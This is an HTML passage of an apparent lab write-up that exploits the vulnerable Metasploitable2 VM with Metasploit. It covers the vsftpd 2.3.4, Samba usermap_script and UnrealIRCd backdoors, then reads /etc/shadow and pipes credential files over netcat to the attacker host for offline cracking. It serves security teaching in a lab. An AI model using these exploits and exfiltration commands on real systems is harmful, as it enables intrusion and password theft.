&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Start PostgreSQL&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start postgresql

&lt;span class="c"&gt;# Initialize the Metasploit database (one time only)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;msfdb init

&lt;span class="c"&gt;# Launch Metasploit&lt;/span&gt;
msfconsole
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffquvaqexlxnnvxdymks2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffquvaqexlxnnvxdymks2.png" alt=" " width="800" height="346"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0cir8ey1law16k3ks2hr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0cir8ey1law16k3ks2hr.png" alt=" " width="800" height="475"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once inside msfconsole:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify database connection&lt;/span&gt;
msf6&amp;gt; db_status
&lt;span class="c"&gt;# [*] Connected to msf. Connection type: postgresql.&lt;/span&gt;

&lt;span class="c"&gt;# Create a workspace for this session&lt;/span&gt;
msf6&amp;gt; workspace &lt;span class="nt"&gt;-a&lt;/span&gt; 178-metasploitable2

&lt;span class="c"&gt;# Confirm the workspace is active&lt;/span&gt;
msf6&amp;gt; workspace
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7wdr3yo29wj3zrimc3so.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7wdr3yo29wj3zrimc3so.png" alt=" " width="800" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now run a full Nmap scan directly from within Metasploit. The &lt;code&gt;db_nmap&lt;/code&gt; command runs Nmap&lt;br&gt;
and automatically saves all results to the database.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6&amp;gt; db_nmap &lt;span class="nt"&gt;-A&lt;/span&gt; 192.168.1.0/24 &lt;span class="nt"&gt;-n&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fem0di9epfyksw1wvpfdj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fem0di9epfyksw1wvpfdj.png" alt=" " width="800" height="585"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After the scan completes, query the results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6&amp;gt; hosts    &lt;span class="c"&gt;# List all discovered hosts&lt;/span&gt;
msf6&amp;gt; services &lt;span class="c"&gt;# List all discovered services&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fprockx1itp1gq900ik0h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fprockx1itp1gq900ik0h.png" alt=" " width="800" height="613"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two FTP servers were found running on Metasploitable2:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;ftp&lt;/td&gt;
&lt;td&gt;vsftpd 2.3.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2121/tcp&lt;/td&gt;
&lt;td&gt;ftp&lt;/td&gt;
&lt;td&gt;ProFTPD 1.3.1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The full services table also revealed SSH, Telnet, SMTP, HTTP, MySQL, PostgreSQL, VNC,&lt;br&gt;
Samba (on 139 and 445), IRC on 6667, and a Metasploitable root shell on 1524 — a deliberately&lt;br&gt;
over-exposed machine.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 2 — Exploiting vsftpd 2.3.4 (Backdoor Command Execution)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Vulnerability
&lt;/h3&gt;

&lt;p&gt;In July 2011, someone compromised the vsftpd 2.3.4 download mirror and inserted a malicious&lt;br&gt;
backdoor into the source archive. The backdoor is simple and elegant in a malicious way: if the&lt;br&gt;
FTP username contains a &lt;code&gt;:)&lt;/code&gt; smiley face character, the server opens a TCP callback shell on&lt;br&gt;
port 6200. The code diff is documented at &lt;a href="https://pastebin.com/AetT9sS5" rel="noopener noreferrer"&gt;https://pastebin.com/AetT9sS5&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Finding the Exploit
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6&amp;gt; search &lt;span class="nb"&gt;type&lt;/span&gt;:exploit name:vsftpd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;One result came back:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exploit/unix/ftp/vsftpd_234_backdoor   2011-07-03   excellent   Yes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Running the Exploit
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6&amp;gt; use exploit/unix/ftp/vsftpd_234_backdoor
msf6&amp;gt; info
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh2zvjhvsigqh4ecg8i36.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh2zvjhvsigqh4ecg8i36.png" alt=" " width="800" height="461"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb7pbvf9f871iniaqztxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb7pbvf9f871iniaqztxg.png" alt=" " width="800" height="630"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgumjje26cpul9wb3vkqz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fgumjje26cpul9wb3vkqz.png" alt=" " width="800" height="210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdr1dw38r189qng9arnm4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdr1dw38r189qng9arnm4.png" alt=" " width="800" height="526"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6&amp;gt; show options
&lt;span class="c"&gt;# Required options: RHOSTS, RPORT&lt;/span&gt;

msf6&amp;gt; &lt;span class="nb"&gt;set &lt;/span&gt;RHOSTS 192.168.1.3
msf6&amp;gt; &lt;span class="nb"&gt;set &lt;/span&gt;RPORT 21
msf6&amp;gt; &lt;span class="nb"&gt;set &lt;/span&gt;LHOST 192.168.1.4
msf6&amp;gt; exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frnyt1cm5x5pvxavxwedh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frnyt1cm5x5pvxavxwedh.png" alt=" " width="797" height="125"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdbli28hm5brp1n30ptww.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdbli28hm5brp1n30ptww.png" alt=" " width="800" height="594"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The exploit triggered the backdoor and opened a Meterpreter session. Dropping to a shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;meterpreter&amp;gt; shell

&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="c"&gt;# root&lt;/span&gt;

&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="c"&gt;# Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F19u9i7pf029jrrrna4ng.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F19u9i7pf029jrrrna4ng.png" alt=" " width="800" height="202"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Extracting the Shadow File
&lt;/h3&gt;

&lt;p&gt;With root access, the &lt;code&gt;/etc/shadow&lt;/code&gt; file — which stores hashed user passwords — is readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/shadow | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'$1'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhn8zyngswge5wiv58kmt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhn8zyngswge5wiv58kmt.png" alt=" " width="798" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This outputs the MD5-hashed (&lt;code&gt;$1$&lt;/code&gt;) passwords for all accounts that have a password set.&lt;br&gt;
The hash format is &lt;code&gt;$1$&amp;lt;salt&amp;gt;$&amp;lt;hash&amp;gt;&lt;/code&gt; — crackable offline with tools like John the Ripper or&lt;br&gt;
Hashcat.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 3 — Exploiting Samba (CVE-2007-2447)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Vulnerability
&lt;/h3&gt;

&lt;p&gt;The Samba &lt;code&gt;username map script&lt;/code&gt; configuration option — present in versions 3.0.0 through&lt;br&gt;
3.0.25rc3 — allows shell meta-characters in the username field to be passed directly to&lt;br&gt;
&lt;code&gt;/bin/sh&lt;/code&gt;. No authentication is required because the username is processed before&lt;br&gt;
authentication occurs. This is CVE-2007-2447, and Metasploitable2 runs Samba 3.0.20-Debian.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6&amp;gt; search &lt;span class="nb"&gt;type&lt;/span&gt;:exploit name:samba
&lt;span class="c"&gt;# Returns ~7 Samba exploits&lt;/span&gt;

msf6&amp;gt; use exploit/multi/samba/usermap_script
msf6&amp;gt; info
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq4lnyfnorp1pfjmpuwuo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq4lnyfnorp1pfjmpuwuo.png" alt=" " width="800" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5f1qaqc0u2rht1g7bq9o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5f1qaqc0u2rht1g7bq9o.png" alt=" " width="800" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsfm79lid2mro7bzg7jvw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsfm79lid2mro7bzg7jvw.png" alt=" " width="800" height="491"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6&amp;gt; &lt;span class="nb"&gt;set &lt;/span&gt;RHOSTS 192.168.1.3
msf6&amp;gt; exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa8qupz1j2rth6vg6qk4y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa8qupz1j2rth6vg6qk4y.png" alt=" " width="800" height="281"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp7i6kwhiwkdihnmmojmb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp7i6kwhiwkdihnmmojmb.png" alt=" " width="797" height="113"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="c"&gt;# root&lt;/span&gt;

smbd &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;span class="c"&gt;# Version 3.0.20-Debian&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exfiltrating Credential Files with Netcat
&lt;/h3&gt;

&lt;p&gt;With shell access via the Samba exploit, I used Netcat to pull &lt;code&gt;/etc/passwd&lt;/code&gt; and &lt;code&gt;/etc/shadow&lt;/code&gt;&lt;br&gt;
off the target cleanly — no copy-paste, just piped data over TCP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On Kali (Tab 2 — listening):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 4567 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; passwd.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;On the exploit shell (Tab 1 — sending):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd | nc 192.168.1.4 4567
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3umu18f19tgct2hyhs1v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3umu18f19tgct2hyhs1v.png" alt=" " width="800" height="301"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhhax54vo09fcqy1410ls.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhhax54vo09fcqy1410ls.png" alt=" " width="800" height="509"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kill the listener with CTRL-C and verify the file arrived:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;passwd.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Repeat for &lt;code&gt;/etc/shadow&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Tab 2&lt;/span&gt;
nc &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 4567 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shadow.txt

&lt;span class="c"&gt;# Tab 1 (exploit shell)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/shadow | nc 192.168.1.4 4567
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then merge both files with &lt;code&gt;unshadow&lt;/code&gt; for offline cracking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;unshadow passwd.txt shadow.txt &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; metasploitable_logins.txt
&lt;span class="nb"&gt;cat &lt;/span&gt;metasploitable_logins.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;unshadow&lt;/code&gt; command combines the username/home directory fields from &lt;code&gt;/etc/passwd&lt;/code&gt; with&lt;br&gt;
the hash fields from &lt;code&gt;/etc/shadow&lt;/code&gt; into a single format that password crackers like John the&lt;br&gt;
Ripper can consume directly.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 4 — Exploiting UnrealIRCd 3.2.8.1 (Backdoor)
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Vulnerability
&lt;/h3&gt;

&lt;p&gt;UnrealIRCd 3.2.8.1 was distributed with a deliberate backdoor inserted into its source code.&lt;br&gt;
When the character sequence &lt;code&gt;AB&lt;/code&gt; is sent to the IRC port (6667), the server executes any&lt;br&gt;
command that follows it with root privileges — no authentication, no handshake. This is&lt;br&gt;
identical in concept to the vsftpd backdoor: a supply-chain compromise of the software&lt;br&gt;
distribution itself.&lt;/p&gt;
&lt;h3&gt;
  
  
  Finding and Running the Exploit
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6&amp;gt; search &lt;span class="nb"&gt;type&lt;/span&gt;:exploit name:unreal
&lt;span class="c"&gt;# Found: exploit/unix/irc/unreal_ircd_3281_backdoor&lt;/span&gt;

msf6&amp;gt; use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6&amp;gt; &lt;span class="nb"&gt;set &lt;/span&gt;payload cmd/unix/bind_netcat
msf6&amp;gt; &lt;span class="nb"&gt;set &lt;/span&gt;RHOSTS 192.168.1.3
msf6&amp;gt; &lt;span class="nb"&gt;set &lt;/span&gt;LHOST 192.168.1.4
msf6&amp;gt; &lt;span class="nb"&gt;set &lt;/span&gt;RPORT 6667
msf6&amp;gt; exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpb7z7fgealoi3yc617jy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpb7z7fgealoi3yc617jy.png" alt=" " width="800" height="172"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxaa3pkoyr3a8z91q41mn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxaa3pkoyr3a8z91q41mn.png" alt=" " width="800" height="189"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="c"&gt;# root&lt;/span&gt;

&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="c"&gt;# Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Required options for this exploit:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;RHOSTS&lt;/td&gt;
&lt;td&gt;192.168.1.3&lt;/td&gt;
&lt;td&gt;Target IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RPORT&lt;/td&gt;
&lt;td&gt;6667&lt;/td&gt;
&lt;td&gt;IRC default port&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LHOST&lt;/td&gt;
